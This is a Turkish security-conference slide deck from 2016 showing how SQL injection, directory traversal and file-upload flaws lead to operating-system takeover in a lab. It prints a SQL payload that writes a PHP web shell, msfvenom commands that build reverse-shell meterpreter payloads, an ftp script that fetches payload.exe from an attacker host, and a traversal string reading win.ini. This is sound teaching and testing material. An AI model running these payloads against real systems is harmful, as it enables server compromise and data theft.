[OWASP-TR Uygulama Güvenliği Günü 2016] Fatih Emiral - Web Uygulama Açıklıklarından Sistemi...

Preview:

Citation preview

WEB UYGULAMA AÇIKLIKLARINDAN SİSTEM ELE GEÇİRMEYE GİDEN YOL

Fatih Emiral, BTRisk Bilgi Güvenliği

Özgür Yazılım Günleri 2016

26 - 27 Mart 2016, İSTANBUL

İşletim Sistemini Ele Geçirme

Web uygulama açıklıkları sadece veri sızması veya suistimale imkan tanımaz.

Web uygulamasının eriştiği veriler veya operasyonel kritikliği ne kadar düşük öncelikli olursa olsun barındırabileceği açıklıklar sayesinde üzerinde koştuğu işletim sisteminin ele geçirilmesine imkan tanıyabilir. Bu durumda saldırgan diğer hedeflere daha etkili saldırı yapabilecek bir konuma erişmiş olur.

Bu nedenle web uygulamalarının kritikliklerini değerlendirirken mutlaka web uygulamasının ve bu uygulamanın kullandığı veritabanlarının bulunduğu ağ bölümlerinin kritiklikleri de dikkate alınmalıdır.

İşletim Sistemini Ele Geçirme

İşletim sisteminin ele geçirilmesiyle sonuçlanabilecek web uygulama açıklıkları şunlardır* (rastlanma sıklığına göre sıralanmıştır):

• SQL Injection

• Dizin Aşım Açıklıkları

• File Upload Riskleri

• RFI / LFI Açıklıkları (PHP diline özel bir açıklık türü)

• (İşletim Sistemi) Command Injection

• Kod Injection (genellikle PHP ve Perl dillerinde görülen bir açıklık türü)

*Güvenlik alanı daimi bir araştırma alanıdır. Burada bahsetmeyi atladığımız bir web uygulama

açıklık türü de pekala sistem ele geçirmek için kullanılabilir. Ayrıca bu açıklıklar bahsettiğimiz şekillerin dışında da kullanılarak işletim sistemi ele geçirme amacıyla kullanılabilir.

İşletim Sistemini Ele Geçirme İşletim Sistemine

Shell veya Terminal Erişimi

Dizin Aşım Açıklıkları

RFI / LFI File Upload

Açıklığı OS Command

Injection SQL Injection

Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku

OS Komutları Çalıştırmamıza İmkan

Veren Bir PHP Kodunu Include Et

OS Komutları ile Sisteme Payload

Yükle

SSH, Telnet, VNC Gibi Servislerle

Sisteme Doğrudan Eriş

Kod Injection

Sisteme Yüklenmiş Olan Backdoor

Payload'unu Çalıştır

SQL Injection ile Sisteme Web

Uygulaması Yaz

OS Komutları ile Web Uygulaması

Yaz

Web Uygulaması ile Sisteme

Payload Yükle

SQL Injection ile OS Komutları

Çalıştır

Sisteme Web Uygulaması Yükle

Veritabanı Fonksiyonalitesiyle

Sisteme Payload Yükle

İşletim Sistemini Ele Geçirme İşletim Sistemine

Shell veya Terminal Erişimi

Dizin Aşım Açıklıkları

RFI / LFI File Upload

Açıklığı OS Command

Injection SQL Injection

Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku

OS Komutları Çalıştırmamıza İmkan

Veren Bir PHP Kodunu Include Et

OS Komutları ile Sisteme Payload

Yükle

SSH, Telnet, VNC Gibi Servislerle

Sisteme Doğrudan Eriş

Kod Injection

Sisteme Yüklenmiş Olan Backdoor

Payload'unu Çalıştır

SQL Injection ile Sisteme Web

Uygulaması Yaz

OS Komutları ile Web Uygulaması

Yaz

Web Uygulaması ile Sisteme

Payload Yükle

SQL Injection ile OS Komutları

Çalıştır

Sisteme Web Uygulaması Yükle

Veritabanı Fonksiyonalitesiyle

Sisteme Payload Yükle

İşletim Sistemini Ele Geçirme

SQL Injection ile İşletim Sistemi Ele Geçirme Örneği

Temel Adımlar

SQL injection açıklığının tespiti sırasında veritabanının MySQL olduğunu öğrendik, buna göre;

• MySQL'in bize sağladığı batched query yöntemini kullanacağız (injection yaptığımız sorguyu sorunsuz bir syntax ile sonlandırdıktan sonra veritabanı fonksiyonalitesini kullanacak komutumuzu yazacağız)

• MySQL'in "SELECT ... INTO OUTFILE ..." özelliğinden faydalanarak bir web uygulaması yazacağız

• Bu web uygulaması bizim verdiğimiz komutları işletim sisteminde işletecek

• İşletim sistemi komutları ile payload dosyamızı hedef sunucuya yükleyeceğiz

• İşletim sistemi komutu ile payload'u çalıştıracağız ve shell'imizi alacağız

SQL Injection Örneği

[Fatura Detaylarım / Detay Göster] fonksiyonu ("id" parametresi)

İşletim Sistemini Ele Geçirme

İşletim Sistemini Ele Geçirme

İşletim Sistemini Ele Geçirme

Repeater modülü ile SQL Injection açıklığına sahip olan parametreyi ve MySQL'in SELECT ... INTO OUTFILE ... özelliğini kullanarak basit bir

PHP uygulamasını web dizinleri içine yazacağız. Tabi bunun için web sunucusunun bu dizinlere

yazma hakkı bulunması önşart.

; SELECT "<?php System($_REQUEST['cmd']); ?>" INTO OUTFILE "C:\\wamp\\www\\cmd.php"

İşletim Sistemini Ele Geçirme

İşletim Sistemini Ele Geçirme

Uygulama sunucusuna yüklemek üzere bir meterpreter staged payload üretiyoruz.

msfvenom -p windows/meterpreter/reverse_tcp

lhost=192.168.163.141 lport=4444 -f exe -o payload.exe

İşletim Sistemini Ele Geçirme

Bu payload'u ftp sunucusu olarak kullanacağımız Windows sunucusuna kopyalıyoruz.

İşletim Sistemini Ele Geçirme

Şimdi ftp ile payload.exe'yi web sunucusuna çekebilmek için yine cmd.php uygulamasını

kullanarak bir ftp script'i oluşturacağız.

open 192.168.1.90 user anonymous pwd bin get payload.exe bye

Bu aşamada interaktif bir shell bağlantımız

olmadığı için ftp'nin bu özelliğini kullanacak ve script sayesinde tek komutla payload'u hedef

sunucuya yükleyeceğiz.

Bu satırları oluşturmak için defalarca manuel olarak cmd.php uygulamasını çalıştırmak yerine

Burp Suite'in intruder modülünden faydalanacağız.

İşletim Sistemini Ele Geçirme

İşletim Sistemini Ele Geçirme

İşletim Sistemini Ele Geçirme

Payload dosyamızı web sunucusuna aktarabilmek için ftp scriptinde belirtilen IP adresinde bir ftp

servisi başlatalım

İşletim Sistemini Ele Geçirme

cmp.php uygulamamız sayesinde ftp istemcisini ftp.txt script'i ile çalıştıralım ve payload dosyamızın transferini gerçekleştirelim

İşletim Sistemini Ele Geçirme

Meterpreter handler'ımızı başlatalım ve birinci stage payload'umuzun bağlantı kurmasını

bekleyelim

İşletim Sistemini Ele Geçirme

Payload.exe dosyasını yazdığımız web uygulaması sayesinde çalıştırdığımızda reverse TCP bağlantısı

kuruldu ve Meterpreter payload'umuzun ikinci stage'i hedef sunucuya yüklendi.

İşletim Sistemini Ele Geçirme

SQL Injection açıklığı sayesinde web sunucusuna shell erişimi sağladık

İşletim Sistemini Ele Geçirme Tüm işi SQLMAP'e yaptırmak isterseniz

İşletim Sistemini Ele Geçirme

SQL Injection ile Başka Hangi Yöntemlerle İşletim Sistemi Ele Geçirebilirim Diyenler İçin;

SQLMAP'in yazarlarından, detaylı bir araştırma makalesi:

• http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857

İşletim Sistemini Ele Geçirme İşletim Sistemine

Shell veya Terminal Erişimi

Dizin Aşım Açıklıkları

RFI / LFI File Upload

Açıklığı OS Command

Injection SQL Injection

Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku

OS Komutları Çalıştırmamıza İmkan

Veren Bir PHP Kodunu Include Et

OS Komutları ile Sisteme Payload

Yükle

SSH, Telnet, VNC Gibi Servislerle

Sisteme Doğrudan Eriş

Kod Injection

Sisteme Yüklenmiş Olan Backdoor

Payload'unu Çalıştır

SQL Injection ile Sisteme Web

Uygulaması Yaz

OS Komutları ile Web Uygulaması

Yaz

Web Uygulaması ile Sisteme

Payload Yükle

SQL Injection ile OS Komutları

Çalıştır

Sisteme Web Uygulaması Yükle

Veritabanı Fonksiyonalitesiyle

Sisteme Payload Yükle

Dizin Aşım Açıklığı Örneği

İşletim Sistemini Ele Geçirme

Dosya indirme fonksiyonalitesi

Dizin aşımı saldırısı için potansiyel bir hedef

Dizin Aşım Açıklığı Örneği

İşletim Sistemini Ele Geçirme

Giden parametre bir dosya adı gibi görünüyor

İşletim Sistemini Ele Geçirme

Dizin aşım açıklığının bulunup bulunmadığını ve web uygulama kök dizininin dışına çıkıp çıkamayacağımızı görmek için Windows işletim sistemlerinde bulunan

başka bir dosyanın içeriğini göremeye çalışalım.

..\..\..\..\Windows\win.ini

İşletim Sistemini Ele Geçirme

Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği

Temel Adımlar

• Öncelikle içinde hassas erişim bilgileri barındırabilecek bir dosyayı tespit etmemiz gerekli

• Bunun için kullanabileceğimiz yöntemlerden birisi "nikto" gibi bir aracı kullanarak ilginç olabilecek bir uygulama dosyasının tespiti olabilir

• Nikto ile tespit ettiğimiz kod dosyasının içeriğinde veritabanı bağlantı cümlesini gözlemleyeceğiz

• Buradaki veritabanı erişim bilgilerini kullanarak ve MySQL veritabanının uzaktan erişilebilmesi sayesinde veritabanına uzaktan bağlanacağız

• MySQL'in sağladığı imkanlar sayesinde OS komutları ile sistemi ele geçireceğiz

İşletim Sistemini Ele Geçirme

Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği

Ön Şartlar

Örneğimizde MySQL sunucusuna uzaktan "root" kullanıcısıyla erişim sağlıyoruz. Öntanımlı olarak veritabanı sunucusuna uzaktan "root" erişimi mümkün değildir. Bunun için şu ayarın yapılmış olduğunu varsayıyoruz:

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'

IDENTIFIED BY 'btrisk'

WITH GRANT OPTION;

FLUSH PRIVILEGES;

İşletim Sistemini Ele Geçirme

Nikto'nun tespitleri arasında erişim bilgileri bulunma ihtimali olan

"config.php" dosyasının adını görebiliriz

İşletim Sistemini Ele Geçirme

MySQL veritabanı için "root" kullanıcı parolasının "btrisk" olduğunu bu

dosyanın içinde görüyoruz

İşletim Sistemini Ele Geçirme

Sunucunun MySQL servisine uzaktan erişilebildiği görülüyor

İşletim Sistemini Ele Geçirme

Bu noktadan sonra yazılacak bir web uygulaması aracılığı ile OS komutları

çalıştırılabilir ve bir payload yüklenerek sistem ele geçirilebilir.

İşletim Sistemini Ele Geçirme

Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği

Diğer Alternatif Hassas Dosyalar

Hedef web sunucusu eğer Unix veya Linux işletim sistemine sahip olsaydı, sistemi ele geçirmek amacıyla ilk hedeflerimizden birisi parola hash'lerinin tutulduğu "passwd" veya "shadow" dosyaları olabilirdi.

Hedef web uygulaması bir ASP.NET uygulaması olsaydı içinde veritabanı bağlantı cümlelerini de barındırma ihtimali yüksek olan "web.config" dosyası iyi bir hedef olabilirdi.

Sunucu üzerinde bulunabilecek yedekleme veya diğer batch işlemler için kullanılan script'ler içlerinde potansiyel olarak veritabanı erişim bilgilerini barındırabilirler.

Sunucu üzerindeki log dosyaları erişim bilgileri barındırabilir.

İşletim Sistemini Ele Geçirme İşletim Sistemine

Shell veya Terminal Erişimi

Dizin Aşım Açıklıkları

RFI / LFI File Upload

Açıklığı OS Command

Injection SQL Injection

Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku

OS Komutları Çalıştırmamıza İmkan

Veren Bir PHP Kodunu Include Et

OS Komutları ile Sisteme Payload

Yükle

SSH, Telnet, VNC Gibi Servislerle

Sisteme Doğrudan Eriş

Kod Injection

Sisteme Yüklenmiş Olan Backdoor

Payload'unu Çalıştır

SQL Injection ile Sisteme Web

Uygulaması Yaz

OS Komutları ile Web Uygulaması

Yaz

Web Uygulaması ile Sisteme

Payload Yükle

SQL Injection ile OS Komutları

Çalıştır

Sisteme Web Uygulaması Yükle

Veritabanı Fonksiyonalitesiyle

Sisteme Payload Yükle

File Upload Açıklığı Örneği

İşletim Sistemini Ele Geçirme Uygulamanın resim yükleme fonksiyonunu kullanıyoruz.

Uygulama resim dosyasının ismini aşağıdaki gibi oluşturuyor ve bunu istemci tarafında belirlemiş oluyor.

İşletim Sistemini Ele Geçirme

Bilgilerim sayfasında bulunan linkleri incelediğimizde fotoğraf dosyasının

bu isimle çekildiğini görüyoruz. Buradan yüklenen dosyaların "/profile_photo" dizini altına

yüklendiğini varsayabiliriz.

İşletim Sistemini Ele Geçirme

İşletim Sistemini Ele Geçirme

File Upload Açıklığı ile İşletim Sistemi Ele Geçirme Örneği

Temel Adımlar

• Dosya yükleme açıklığı sayesinde istediğimiz web uygulamasını sunucuya yükleyebiliriz.

• Bu örnekte Metasploit'in PHP payload oluşturma imkanından faydalanacağız. Bunun için reverse tcp bağlantısı kuracak bir PHP dosyası oluşturacak ve sunucuya bu dosyayı yükleyeceğiz.

• Metasploit multi handler aracı ile bağlantıyı beklerken yüklediğimiz uygulamayı çalıştıracağız ve handler bizim için stage 2 payload'u sisteme yükleyecek.

• Bu noktadan sonra meterpreter'in gelişmiş imkanları sayesinde web sunucu prosesinin hakları ile sisteme erişeceğiz.

İşletim Sistemini Ele Geçirme

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.163.141 LPORT=4444 -f raw > shell.php

Metasploit aracılığıyla handler'ımıza bağlanarak 2. stage payload'u

çekecek bir PHP kodunu üretiyoruz.

Kullandığımız payload php/meterpreter_reverse_tcp

İşletim Sistemini Ele Geçirme

Üretilen payload'un PHP olarak yorumlanabilmesi için başına ve

sonuna PHP tag eklemesini yapmamız gerekiyor.

İşletim Sistemini Ele Geçirme

Metasploit multi handler modülü ile bize bağlanacak stage 1 PHP

payload'umuzdan gelecek bağlantı talebini bekliyoruz.

İşletim Sistemini Ele Geçirme

Bir dosya yükleme isteği başlatmak için Browse düğmesine tıklayalım

İşletim Sistemini Ele Geçirme

HTML inpug tag'i içinde dosya tipi imaj dosyaları olarak kısıtlanmış. Bu

kontrolü HTML içinden de temizleyebiliriz, giden mesajı Burp

ile kestiğimizde de dosya adı ve içeriğini düzenleyebiliriz.

İşletim Sistemini Ele Geçirme

Şimdilik bir resim dosyası seçelim ve dosya yükle düğmesine basalım,

değişikliği kestiğimiz istek üzerinde gerçekleştirelim.

Burp content miktarının değişikliği için hesaplamayı yaparak bizim için

Content-Length başlığını düzenleyecek nasıl olsa.

İşletim Sistemini Ele Geçirme

Orijinal dosya adı parametresi ve dosya içeriği

İşletim Sistemini Ele Geçirme

Değiştirilmiş dosya adı parametresi ve dosya içeriği (shell.php)

İşletim Sistemini Ele Geçirme

Dosya yükleme işlemimiz başarı ile gerçekleşmiş gibi görünüyor.

İşletim Sistemini Ele Geçirme

Resim dosyalarının yazıldığı dizinin /profile_photo dizini olduğunu daha önce görmüştük. Bu isteklerden birini repeater modülüne atarak yüklediğimiz shell.php dosyasını çalıştıralım. Apache'nin eklediği Last-Modified HTTP başlığı nedeniyle bu istek her uygulamaya girişte yapılmıyor, bu nedenle bu isteği görebilmemiz için tarayıcı belleğini boşaltmamız gerekebilir.

İşletim Sistemini Ele Geçirme

shell.php sayfasına istekte bulunduğumuzda payload'umuz aktif hale

gelmiş oluyor

İşletim Sistemini Ele Geçirme

Hedef sunucumuz handler'ımıza bağlandığında artık shell erişimimizi sağlayabiliriz.

Bu çalışmanın yapıldığı sırada malesef bu payload'un pek kararlı olmadığınız gözlemledik, ancak metodun çalıştığını

bu örnekle görebiliriz.

İşletim Sistemini Ele Geçirme

Ele geçirme yöntemlerine etki eden faktörler

SQL injection açıklığı için

• Hedef veritabanı nedir?

• Veritabanı tek seferde birden fazla SQL komutuna izin verir mi?

• Veritabanının OS komutu çalıştırma imkanı var mıdır?

• Veritabanının bir dosyaya yazma imkanı var mıdır?

İşletim Sistemini Ele Geçirme

Ele geçirme yöntemlerine etki eden faktörler

Payload seçimi, payload yükleme yöntemi seçimi için

• Hedef işletim sistemi nedir?

• Bu işletim sisteminde öntanımlı olarak bulunan veya sonradan yüklenmiş dosya transfer komut imkanları nelerdir?

• İşletim sistemine yönelik olarak nasıl bir payload kullanmayı tercih edeceğiz?

İşletim Sistemini Ele Geçirme

Ele geçirme yöntemlerine etki eden faktörler

Erişim bilgileri ele geçirildiğinde

• İşletim sistemi üzerinde hangi servisler aktiftir?

Uygulama dilinin tespiti

• LFI/RFI açıklıklarının analizi için

• File upload açıklığının kullanılması için

• Kod injection açıklıklarının analizi için

Recommended